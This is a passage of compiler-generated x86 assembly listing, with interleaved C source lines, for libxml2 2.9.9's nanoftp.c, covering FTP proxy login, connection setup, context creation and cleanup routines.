call _xmlNanoFTPReadResponse
add esp, 4
; 1029 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
; 1030 : closesocket(ctxt->controlFd);
; 1031 : ctxt->controlFd = INVALID_SOCKET;
; 1032 : return(res);
; 1033 : }
; 1034 : res = xmlNanoFTPGetResponse(ctxt);
; 1035 : switch (res) {
sub eax, 1
je $LN31@xmlNanoFTP
sub eax, 1
je SHORT $LN25@xmlNanoFTP
sub eax, 1
jne $LN58@xmlNanoFTP
; 1038 : break;
; 1039 : /* Falls through. */
; 1040 : case 3:
; 1041 : if (proxyPasswd != NULL)
mov eax, DWORD PTR _proxyPasswd
test eax, eax
jne SHORT $LN86@xmlNanoFTP
; 1043 : else
; 1044 : snprintf(buf, sizeof(buf), "PASS anonymous@\r\n");
push OFFSET ??_C@_0BC@JNJBALOJ@PASS?5anonymous?$EA?$AN?6@
lea eax, DWORD PTR _buf$1[ebp]
push 400 ; 00000190H
push eax
call _snprintf
add esp, 12 ; 0000000cH
jmp SHORT $LN29@xmlNanoFTP
$LN25@xmlNanoFTP:
; 1036 : case 2:
; 1037 : if (proxyPasswd == NULL)
mov eax, DWORD PTR _proxyPasswd
test eax, eax
je SHORT $LN31@xmlNanoFTP
$LN86@xmlNanoFTP:
; 1042 : snprintf(buf, sizeof(buf), "PASS %s\r\n", proxyPasswd);
push eax
push OFFSET ??_C@_09CACMNAGD@PASS?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$1[ebp]
push 400 ; 00000190H
push eax
call _snprintf
add esp, 16 ; 00000010H
$LN29@xmlNanoFTP:
; 1045 : buf[sizeof(buf) - 1] = 0;
; 1046 : len = strlen(buf);
lea ecx, DWORD PTR _buf$1[ebp]
mov BYTE PTR _buf$1[ebp+399], 0
lea edx, DWORD PTR [ecx+1]
$LL89@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL89@xmlNanoFTP
; 1047 : #ifdef DEBUG_FTP
; 1048 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1049 : #endif
; 1050 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$1[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call ebx
mov edi, eax
; 1051 : if (res < 0) {
test edi, edi
js $LN100@xmlNanoFTP
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1052 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
; 1053 : closesocket(ctxt->controlFd);
; 1054 : ctxt->controlFd = INVALID_SOCKET;
; 1055 : return(res);
; 1056 : }
; 1057 : res = xmlNanoFTPGetResponse(ctxt);
; 1058 : if (res > 3) {
cmp eax, 3
jg $LN58@xmlNanoFTP
$LN31@xmlNanoFTP:
; 1059 : closesocket(ctxt->controlFd);
; 1060 : ctxt->controlFd = INVALID_SOCKET;
; 1061 : return(-1);
; 1062 : }
; 1063 : break;
; 1064 : case 1:
; 1065 : break;
; 1066 : case 4:
; 1067 : case 5:
; 1068 : case -1:
; 1069 : default:
; 1070 : closesocket(ctxt->controlFd);
; 1071 : ctxt->controlFd = INVALID_SOCKET;
; 1072 : return(-1);
; 1073 : }
; 1074 : }
; 1075 :
; 1076 : /*
; 1077 : * We assume we don't need more authentication to the proxy
; 1078 : * and that it succeeded :-\
; 1079 : */
; 1080 : switch (proxyType) {
mov eax, DWORD PTR _proxyType
test eax, eax
js $LN58@xmlNanoFTP
cmp eax, 1
jle SHORT $LN34@xmlNanoFTP
cmp eax, 2
je $LN37@xmlNanoFTP
jmp $LN58@xmlNanoFTP
$LN34@xmlNanoFTP:
; 1081 : case 0:
; 1082 : /* we will try in sequence */
; 1083 : case 1:
; 1084 : /* Using SITE command */
; 1085 : snprintf(buf, sizeof(buf), "SITE %s\r\n", ctxt->hostname);
push DWORD PTR [esi+4]
lea eax, DWORD PTR _buf$1[ebp]
push OFFSET ??_C@_09HOAIGJJF@SITE?5?$CFs?$AN?6@
push 400 ; 00000190H
push eax
call _snprintf
; 1086 : buf[sizeof(buf) - 1] = 0;
; 1087 : len = strlen(buf);
lea ecx, DWORD PTR _buf$1[ebp]
mov BYTE PTR _buf$1[ebp+399], 0
add esp, 16 ; 00000010H
lea edx, DWORD PTR [ecx+1]
$LL90@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL90@xmlNanoFTP
; 1088 : #ifdef DEBUG_FTP
; 1089 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1090 : #endif
; 1091 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$1[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call ebx
mov edi, eax
; 1092 : if (res < 0) {
test edi, edi
js $LN100@xmlNanoFTP
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1093 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
; 1094 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 1095 : ctxt->controlFd = INVALID_SOCKET;
; 1096 : return(res);
; 1097 : }
; 1098 : res = xmlNanoFTPGetResponse(ctxt);
; 1099 : if (res == 2) {
cmp eax, 2
jne SHORT $LN36@xmlNanoFTP
; 1100 : /* we assume it worked :-\ 1 is error for SITE command */
; 1101 : proxyType = 1;
mov DWORD PTR _proxyType, 1
$LN4@xmlNanoFTP:
; 763 : if (ctxt->user == NULL)
mov eax, DWORD PTR [esi+16]
test eax, eax
jne $LN73@xmlNanoFTP
; 764 : snprintf(buf, sizeof(buf), "USER anonymous\r\n");
push OFFSET ??_C@_0BB@PKBEHKHF@USER?5anonymous?$AN?6@
lea eax, DWORD PTR _buf$3[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
add esp, 12 ; 0000000cH
jmp $LN74@xmlNanoFTP
$LN36@xmlNanoFTP:
; 1102 : break;
; 1103 : }
; 1104 : if (proxyType == 1) {
cmp DWORD PTR _proxyType, 1
je $LN58@xmlNanoFTP
$LN37@xmlNanoFTP:
; 1105 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 1106 : ctxt->controlFd = INVALID_SOCKET;
; 1107 : return(-1);
; 1108 : }
; 1109 : /* Falls through. */
; 1110 : case 2:
; 1111 : /* USER user@host command */
; 1112 : if (ctxt->user == NULL)
mov eax, DWORD PTR [esi+4]
mov ecx, DWORD PTR [esi+16]
push eax
lea eax, DWORD PTR _buf$1[ebp]
test ecx, ecx
jne SHORT $LN39@xmlNanoFTP
; 1113 : snprintf(buf, sizeof(buf), "USER anonymous@%s\r\n",
push OFFSET ??_C@_0BE@OGNKDKIM@USER?5anonymous?$EA?$CFs?$AN?6@
push 400 ; 00000190H
push eax
call _snprintf
add esp, 16 ; 00000010H
jmp SHORT $LN40@xmlNanoFTP
$LN39@xmlNanoFTP:
; 1114 : ctxt->hostname);
; 1115 : else
; 1116 : snprintf(buf, sizeof(buf), "USER %s@%s\r\n",
push ecx
push OFFSET ??_C@_0N@NGBGKMKP@USER?5?$CFs?$EA?$CFs?$AN?6@
push 400 ; 00000190H
push eax
call _snprintf
add esp, 20 ; 00000014H
$LN40@xmlNanoFTP:
; 1117 : ctxt->user, ctxt->hostname);
; 1118 : buf[sizeof(buf) - 1] = 0;
; 1119 : len = strlen(buf);
lea ecx, DWORD PTR _buf$1[ebp]
mov BYTE PTR _buf$1[ebp+399], 0
lea edx, DWORD PTR [ecx+1]
npad 6
$LL91@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL91@xmlNanoFTP
; 1120 : #ifdef DEBUG_FTP
; 1121 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1122 : #endif
; 1123 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$1[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call ebx
mov edi, eax
; 1124 : if (res < 0) {
test edi, edi
js $LN100@xmlNanoFTP
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1125 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
; 1126 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 1127 : ctxt->controlFd = INVALID_SOCKET;
; 1128 : return(res);
; 1129 : }
; 1130 : res = xmlNanoFTPGetResponse(ctxt);
; 1131 : if ((res == 1) || (res == 2)) {
cmp eax, 1
je $LN43@xmlNanoFTP
cmp eax, 2
je $LN43@xmlNanoFTP
; 1135 : }
; 1136 : if (ctxt->passwd == NULL)
mov eax, DWORD PTR [esi+20]
test eax, eax
jne SHORT $LN44@xmlNanoFTP
; 1137 : snprintf(buf, sizeof(buf), "PASS anonymous@\r\n");
push OFFSET ??_C@_0BC@JNJBALOJ@PASS?5anonymous?$EA?$AN?6@
lea eax, DWORD PTR _buf$1[ebp]
push 400 ; 00000190H
push eax
call _snprintf
add esp, 12 ; 0000000cH
jmp SHORT $LN45@xmlNanoFTP
$LN44@xmlNanoFTP:
; 1138 : else
; 1139 : snprintf(buf, sizeof(buf), "PASS %s\r\n", ctxt->passwd);
push eax
push OFFSET ??_C@_09CACMNAGD@PASS?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$1[ebp]
push 400 ; 00000190H
push eax
call _snprintf
add esp, 16 ; 00000010H
$LN45@xmlNanoFTP:
; 1140 : buf[sizeof(buf) - 1] = 0;
; 1141 : len = strlen(buf);
lea ecx, DWORD PTR _buf$1[ebp]
mov BYTE PTR _buf$1[ebp+399], 0
lea edx, DWORD PTR [ecx+1]
$LL92@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL92@xmlNanoFTP
; 1142 : #ifdef DEBUG_FTP
; 1143 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1144 : #endif
; 1145 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$1[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call ebx
mov edi, eax
; 1146 : if (res < 0) {
test edi, edi
jns SHORT $LN46@xmlNanoFTP
$LN100@xmlNanoFTP:
; 1147 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
push OFFSET ??_C@_0M@EADLIJBM@send?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 1148 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
push DWORD PTR [esi+44]
call DWORD PTR __imp__closesocket@4
pop ebx
; 1149 : ctxt->controlFd = INVALID_SOCKET;
; 1150 : return(res);
mov eax, edi
mov DWORD PTR [esi+44], -1
pop edi
pop esi
; 1221 : }
; 1222 :
; 1223 : return(0);
; 1224 : }
mov esp, ebp
pop ebp
ret 0
$LN46@xmlNanoFTP:
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1151 : }
; 1152 : res = xmlNanoFTPGetResponse(ctxt);
; 1153 : if ((res == 1) || (res == 2)) {
cmp eax, 1
je SHORT $LN43@xmlNanoFTP
cmp eax, 2
jne $LN58@xmlNanoFTP
$LN43@xmlNanoFTP:
; 1132 : /* we assume it worked :-\ */
; 1133 : proxyType = 2;
mov DWORD PTR _proxyType, 2
$LN52@xmlNanoFTP:
pop ebx
pop edi
; 1134 : return(0);
xor eax, eax
pop esi
; 1221 : }
; 1222 :
; 1223 : return(0);
; 1224 : }
mov esp, ebp
pop ebp
ret 0
$LN73@xmlNanoFTP:
; 766 : snprintf(buf, sizeof(buf), "USER %s\r\n", ctxt->user);
push eax
push OFFSET ??_C@_09FIJAECMI@USER?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$3[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
add esp, 16 ; 00000010H
$LN74@xmlNanoFTP:
; 767 : buf[sizeof(buf) - 1] = 0;
; 768 : len = strlen(buf);
lea ecx, DWORD PTR _buf$3[ebp]
mov BYTE PTR _buf$3[ebp+199], 0
lea edx, DWORD PTR [ecx+1]
npad 1
$LL93@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL93@xmlNanoFTP
; 769 : #ifdef DEBUG_FTP
; 770 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 771 : #endif
; 772 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$3[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call ebx
; 773 : if (res < 0) {
test eax, eax
js $LN101@xmlNanoFTP
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1154 : /* we assume it worked :-\ */
; 1155 : proxyType = 2;
; 1156 : return(0);
; 1157 : }
; 1158 : if (proxyType == 2) {
; 1159 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 1160 : ctxt->controlFd = INVALID_SOCKET;
; 1161 : return(-1);
; 1162 : }
; 1163 : /* Falls through. */
; 1164 : case 3:
; 1165 : /*
; 1166 : * If you need support for other Proxy authentication scheme
; 1167 : * send the code or at least the sequence in use.
; 1168 : */
; 1169 : default:
; 1170 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 1171 : ctxt->controlFd = INVALID_SOCKET;
; 1172 : return(-1);
; 1173 : }
; 1174 : }
; 1175 : /*
; 1176 : * Non-proxy handling.
; 1177 : */
; 1178 : res = xmlNanoFTPSendUser(ctxt);
; 1179 : if (res < 0) {
; 1180 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 1181 : ctxt->controlFd = INVALID_SOCKET;
; 1182 : return(-1);
; 1183 : }
; 1184 : res = xmlNanoFTPGetResponse(ctxt);
; 1185 : switch (res) {
sub eax, 2
je SHORT $LN52@xmlNanoFTP
sub eax, 1
jne $LN58@xmlNanoFTP
; 791 : if (ctxt->passwd == NULL)
mov eax, DWORD PTR [esi+20]
test eax, eax
jne SHORT $LN80@xmlNanoFTP
; 792 : snprintf(buf, sizeof(buf), "PASS anonymous@\r\n");
push OFFSET ??_C@_0BC@JNJBALOJ@PASS?5anonymous?$EA?$AN?6@
lea eax, DWORD PTR _buf$2[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
add esp, 12 ; 0000000cH
jmp SHORT $LN81@xmlNanoFTP
$LN80@xmlNanoFTP:
; 793 : else
; 794 : snprintf(buf, sizeof(buf), "PASS %s\r\n", ctxt->passwd);
push eax
push OFFSET ??_C@_09CACMNAGD@PASS?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$2[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
add esp, 16 ; 00000010H
$LN81@xmlNanoFTP:
; 795 : buf[sizeof(buf) - 1] = 0;
; 796 : len = strlen(buf);
lea ecx, DWORD PTR _buf$2[ebp]
mov BYTE PTR _buf$2[ebp+199], 0
lea edx, DWORD PTR [ecx+1]
$LL94@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL94@xmlNanoFTP
; 797 : #ifdef DEBUG_FTP
; 798 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 799 : #endif
; 800 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$2[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call ebx
; 801 : if (res < 0) {
test eax, eax
jns SHORT $LN55@xmlNanoFTP
$LN101@xmlNanoFTP:
; 1207 : case 2:
; 1208 : break;
; 1209 : case 3:
; 1210 : __xmlIOErr(XML_FROM_FTP, XML_FTP_ACCNT,
push OFFSET ??_C@_0M@EADLIJBM@send?5failed@
push 0
jmp SHORT $LN98@xmlNanoFTP
$LN55@xmlNanoFTP:
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1186 : case 2:
; 1187 : return(0);
; 1188 : case 3:
; 1189 : break;
; 1190 : case 1:
; 1191 : case 4:
; 1192 : case 5:
; 1193 : case -1:
; 1194 : default:
; 1195 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 1196 : ctxt->controlFd = INVALID_SOCKET;
; 1197 : return(-1);
; 1198 : }
; 1199 : res = xmlNanoFTPSendPasswd(ctxt);
; 1200 : if (res < 0) {
; 1201 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 1202 : ctxt->controlFd = INVALID_SOCKET;
; 1203 : return(-1);
; 1204 : }
; 1205 : res = xmlNanoFTPGetResponse(ctxt);
; 1206 : switch (res) {
sub eax, 2
je $LN52@xmlNanoFTP
sub eax, 1
jne SHORT $LN58@xmlNanoFTP
; 1207 : case 2:
; 1208 : break;
; 1209 : case 3:
; 1210 : __xmlIOErr(XML_FROM_FTP, XML_FTP_ACCNT,
push OFFSET ??_C@_0CK@GIDKJDCD@FTP?5server?5asking?5for?5ACCNT?5on?5@
push 2002 ; 000007d2H
$LN98@xmlNanoFTP:
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
$LN58@xmlNanoFTP:
; 1211 : "FTP server asking for ACCNT on anonymous\n");
; 1212 : /* Falls through. */
; 1213 : case 1:
; 1214 : case 4:
; 1215 : case 5:
; 1216 : case -1:
; 1217 : default:
; 1218 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
push DWORD PTR [esi+44]
call DWORD PTR __imp__closesocket@4
pop ebx
pop edi
; 1219 : ctxt->controlFd = INVALID_SOCKET;
mov DWORD PTR [esi+44], -1
; 1220 : return(-1);
or eax, -1
pop esi
; 1221 : }
; 1222 :
; 1223 : return(0);
; 1224 : }
mov esp, ebp
pop ebp
ret 0
$LN87@xmlNanoFTP:
; 859 : return(-1);
or eax, -1
pop esi
; 1221 : }
; 1222 :
; 1223 : return(0);
; 1224 : }
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPConnect ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPOpen
_TEXT SEGMENT
_URL$ = 8 ; size = 4
_xmlNanoFTPOpen PROC ; COMDAT
; 1999 : xmlNanoFTPOpen(const char *URL) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
call _xmlNanoFTPInit
mov esi, DWORD PTR _URL$[ebp]
test esi, esi
je SHORT $LN9@xmlNanoFTP
; 2000 : xmlNanoFTPCtxtPtr ctxt;
; 2001 : SOCKET sock;
; 2002 :
; 2003 : xmlNanoFTPInit();
; 2004 : if (URL == NULL) return(NULL);
; 2005 : if (strncmp("ftp://", URL, 6)) return(NULL);
push 6
push esi
push OFFSET ??_C@_06FNAPNHDD@ftp?3?1?1@
call DWORD PTR __imp__strncmp
add esp, 12 ; 0000000cH
test eax, eax
jne SHORT $LN9@xmlNanoFTP
; 2006 :
; 2007 : ctxt = (xmlNanoFTPCtxtPtr) xmlNanoFTPNewCtxt(URL);
push esi
call _xmlNanoFTPNewCtxt
mov esi, eax
add esp, 4
; 2008 : if (ctxt == NULL) return(NULL);
test esi, esi
je SHORT $LN9@xmlNanoFTP
; 2009 : if (xmlNanoFTPConnect(ctxt) < 0) {
push esi
call _xmlNanoFTPConnect
add esp, 4
test eax, eax
js SHORT $LN8@xmlNanoFTP
; 2010 : xmlNanoFTPFreeCtxt(ctxt);
; 2011 : return(NULL);
; 2012 : }
; 2013 : sock = xmlNanoFTPGetSocket(ctxt, ctxt->path);
push DWORD PTR [esi+12]
push esi
call _xmlNanoFTPGetSocket
add esp, 8
; 2014 : if (sock == INVALID_SOCKET) {
cmp eax, -1
je SHORT $LN8@xmlNanoFTP
; 2016 : return(NULL);
; 2017 : }
; 2018 : return(ctxt);
mov eax, esi
pop esi
; 2019 : }
pop ebp
ret 0
$LN8@xmlNanoFTP:
; 2015 : xmlNanoFTPFreeCtxt(ctxt);
push esi
call _xmlNanoFTPFreeCtxt
add esp, 4
$LN9@xmlNanoFTP:
; 2019 : }
xor eax, eax
pop esi
pop ebp
ret 0
_xmlNanoFTPOpen ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPConnectTo
_TEXT SEGMENT
_server$ = 8 ; size = 4
_port$ = 12 ; size = 4
_xmlNanoFTPConnectTo PROC ; COMDAT
; 1237 : xmlNanoFTPConnectTo(const char *server, int port) {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
call _xmlNanoFTPInit
cmp DWORD PTR _server$[ebp], 0
je SHORT $LN10@xmlNanoFTP
; 1238 : xmlNanoFTPCtxtPtr ctxt;
; 1239 : int res;
; 1240 :
; 1241 : xmlNanoFTPInit();
; 1242 : if (server == NULL)
; 1243 : return(NULL);
; 1244 : if (port <= 0)
mov edi, DWORD PTR _port$[ebp]
test edi, edi
jle SHORT $LN10@xmlNanoFTP
; 1245 : return(NULL);
; 1246 : ctxt = (xmlNanoFTPCtxtPtr) xmlNanoFTPNewCtxt(NULL);
push 0
call _xmlNanoFTPNewCtxt
mov esi, eax
add esp, 4
; 1247 : if (ctxt == NULL)
test esi, esi
je SHORT $LN10@xmlNanoFTP
; 1248 : return(NULL);
; 1249 : ctxt->hostname = xmlMemStrdup(server);
push DWORD PTR _server$[ebp]
call DWORD PTR _xmlMemStrdup
add esp, 4
mov DWORD PTR [esi+4], eax
; 1250 : if (ctxt->hostname == NULL) {
test eax, eax
je SHORT $LN9@xmlNanoFTP
; 1251 : xmlNanoFTPFreeCtxt(ctxt);
; 1252 : return(NULL);
; 1253 : }
; 1254 : if (port != 0)
; 1255 : ctxt->port = port;
; 1256 : res = xmlNanoFTPConnect(ctxt);
push esi
mov DWORD PTR [esi+8], edi
call _xmlNanoFTPConnect
add esp, 4
; 1257 : if (res < 0) {
test eax, eax
js SHORT $LN9@xmlNanoFTP
; 1259 : return(NULL);
; 1260 : }
; 1261 : return(ctxt);
pop edi
mov eax, esi
; 1262 : }
pop esi
pop ebp
ret 0
$LN9@xmlNanoFTP:
; 1258 : xmlNanoFTPFreeCtxt(ctxt);
push esi
call _xmlNanoFTPFreeCtxt
add esp, 4
$LN10@xmlNanoFTP:
; 1262 : }
pop edi
xor eax, eax
pop esi
pop ebp
ret 0
_xmlNanoFTPConnectTo ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPFreeCtxt
_TEXT SEGMENT
_ctx$ = 8 ; size = 4
_xmlNanoFTPFreeCtxt PROC ; COMDAT
; 500 : xmlNanoFTPFreeCtxt(void * ctx) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je $LN1@xmlNanoFTP
; 501 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 502 : if (ctxt == NULL) return;
; 503 : if (ctxt->hostname != NULL) xmlFree(ctxt->hostname);
mov eax, DWORD PTR [esi+4]
test eax, eax
je SHORT $LN3@xmlNanoFTP
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN3@xmlNanoFTP:
; 504 : if (ctxt->protocol != NULL) xmlFree(ctxt->protocol);
mov eax, DWORD PTR [esi]
test eax, eax
je SHORT $LN4@xmlNanoFTP
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN4@xmlNanoFTP:
; 505 : if (ctxt->path != NULL) xmlFree(ctxt->path);
mov eax, DWORD PTR [esi+12]
test eax, eax
je SHORT $LN5@xmlNanoFTP
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN5@xmlNanoFTP:
; 506 : if (ctxt->user != NULL) xmlFree(ctxt->user);
mov eax, DWORD PTR [esi+16]
test eax, eax
je SHORT $LN6@xmlNanoFTP
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN6@xmlNanoFTP:
; 507 : if (ctxt->passwd != NULL) xmlFree(ctxt->passwd);
mov eax, DWORD PTR [esi+20]
test eax, eax
je SHORT $LN7@xmlNanoFTP
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN7@xmlNanoFTP:
; 508 : ctxt->passive = 1;
; 509 : if (ctxt->controlFd != INVALID_SOCKET) closesocket(ctxt->controlFd);
mov eax, DWORD PTR [esi+44]
mov DWORD PTR [esi+40], 1
cmp eax, -1
je SHORT $LN8@xmlNanoFTP
push eax
call DWORD PTR __imp__closesocket@4
$LN8@xmlNanoFTP:
; 510 : ctxt->controlFd = INVALID_SOCKET;
; 511 : ctxt->controlBufIndex = -1;
; 512 : ctxt->controlBufUsed = -1;
; 513 : xmlFree(ctxt);
push esi
mov DWORD PTR [esi+44], -1
mov DWORD PTR [esi+1088], -1
mov DWORD PTR [esi+1092], -1
call DWORD PTR _xmlFree
add esp, 4
$LN1@xmlNanoFTP:
pop esi
; 514 : }
pop ebp
ret 0
_xmlNanoFTPFreeCtxt ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPNewCtxt
_TEXT SEGMENT
_URL$ = 8 ; size = 4
_xmlNanoFTPNewCtxt PROC ; COMDAT
; 464 : xmlNanoFTPNewCtxt(const char *URL) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
push 1100 ; 0000044cH
call DWORD PTR _xmlMalloc
mov esi, eax
add esp, 4
test esi, esi
jne SHORT $LN2@xmlNanoFTP
; 168 : __xmlSimpleError(XML_FROM_FTP, XML_ERR_NO_MEMORY, NULL, NULL, extra);
push OFFSET ??_C@_0BH@FLMMHHFH@allocating?5FTP?5context@
push eax
push eax
push 2
push 9
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 465 : xmlNanoFTPCtxtPtr ret;
; 466 : char *unescaped;
; 467 :
; 468 : ret = (xmlNanoFTPCtxtPtr) xmlMalloc(sizeof(xmlNanoFTPCtxt));
; 469 : if (ret == NULL) {
; 470 : xmlFTPErrMemory("allocating FTP context");
; 471 : return(NULL);
xor eax, eax
pop esi
; 490 : }
pop ebp
ret 0
$LN2@xmlNanoFTP:
push ebx
push edi
; 472 : }
; 473 :
; 474 : memset(ret, 0, sizeof(xmlNanoFTPCtxt));
push 1100 ; 0000044cH
push 0
push esi
call _memset
; 475 : ret->port = 21;
; 476 : ret->passive = 1;
; 477 : ret->returnValue = 0;
; 478 : ret->controlBufIndex = 0;
; 479 : ret->controlBufUsed = 0;
; 480 : ret->controlFd = INVALID_SOCKET;
; 481 :
; 482 : unescaped = xmlURIUnescapeString(URL, 0, NULL);
mov edi, DWORD PTR _URL$[ebp]
push 0
push 0
push edi
mov DWORD PTR [esi+8], 21 ; 00000015H
mov DWORD PTR [esi+40], 1
mov DWORD PTR [esi+44], -1
call _xmlURIUnescapeString
mov ebx, eax
add esp, 24 ; 00000018H
; 483 : if (unescaped != NULL) {
test ebx, ebx
je SHORT $LN3@xmlNanoFTP
; 484 : xmlNanoFTPScanURL(ret, unescaped);
push ebx
push esi
call _xmlNanoFTPScanURL
; 485 : xmlFree(unescaped);
push ebx
call DWORD PTR _xmlFree
add esp, 12 ; 0000000cH
; 488 :
; 489 : return(ret);
mov eax, esi
pop edi
pop ebx
pop esi
; 490 : }
pop ebp
ret 0
$LN3@xmlNanoFTP:
; 486 : } else if (URL != NULL)
test edi, edi
je SHORT $LN5@xmlNanoFTP
; 487 : xmlNanoFTPScanURL(ret, URL);
push edi
push esi
call _xmlNanoFTPScanURL
add esp, 8
$LN5@xmlNanoFTP:
; 488 :
; 489 : return(ret);
pop edi
pop ebx
mov eax, esi
pop esi
; 490 : }
pop ebp
ret 0
_xmlNanoFTPNewCtxt ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPCleanup
_TEXT SEGMENT
_xmlNanoFTPCleanup PROC ; COMDAT
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _proxy
test eax, eax
je SHORT $LN2@xmlNanoFTP
; 226 : if (proxy != NULL) {
; 227 : xmlFree(proxy);
push eax
call DWORD PTR _xmlFree
add esp, 4
; 228 : proxy = NULL;
mov DWORD PTR _proxy, 0
$LN2@xmlNanoFTP:
; 229 : }
; 230 : if (proxyUser != NULL) {
mov eax, DWORD PTR _proxyUser
test eax, eax
je SHORT $LN3@xmlNanoFTP
; 231 : xmlFree(proxyUser);
push eax
call DWORD PTR _xmlFree
add esp, 4
; 232 : proxyUser = NULL;
mov DWORD PTR _proxyUser, 0
$LN3@xmlNanoFTP:
; 233 : }
; 234 : if (proxyPasswd != NULL) {
mov eax, DWORD PTR _proxyPasswd
test eax, eax
je SHORT $LN4@xmlNanoFTP
; 235 : xmlFree(proxyPasswd);
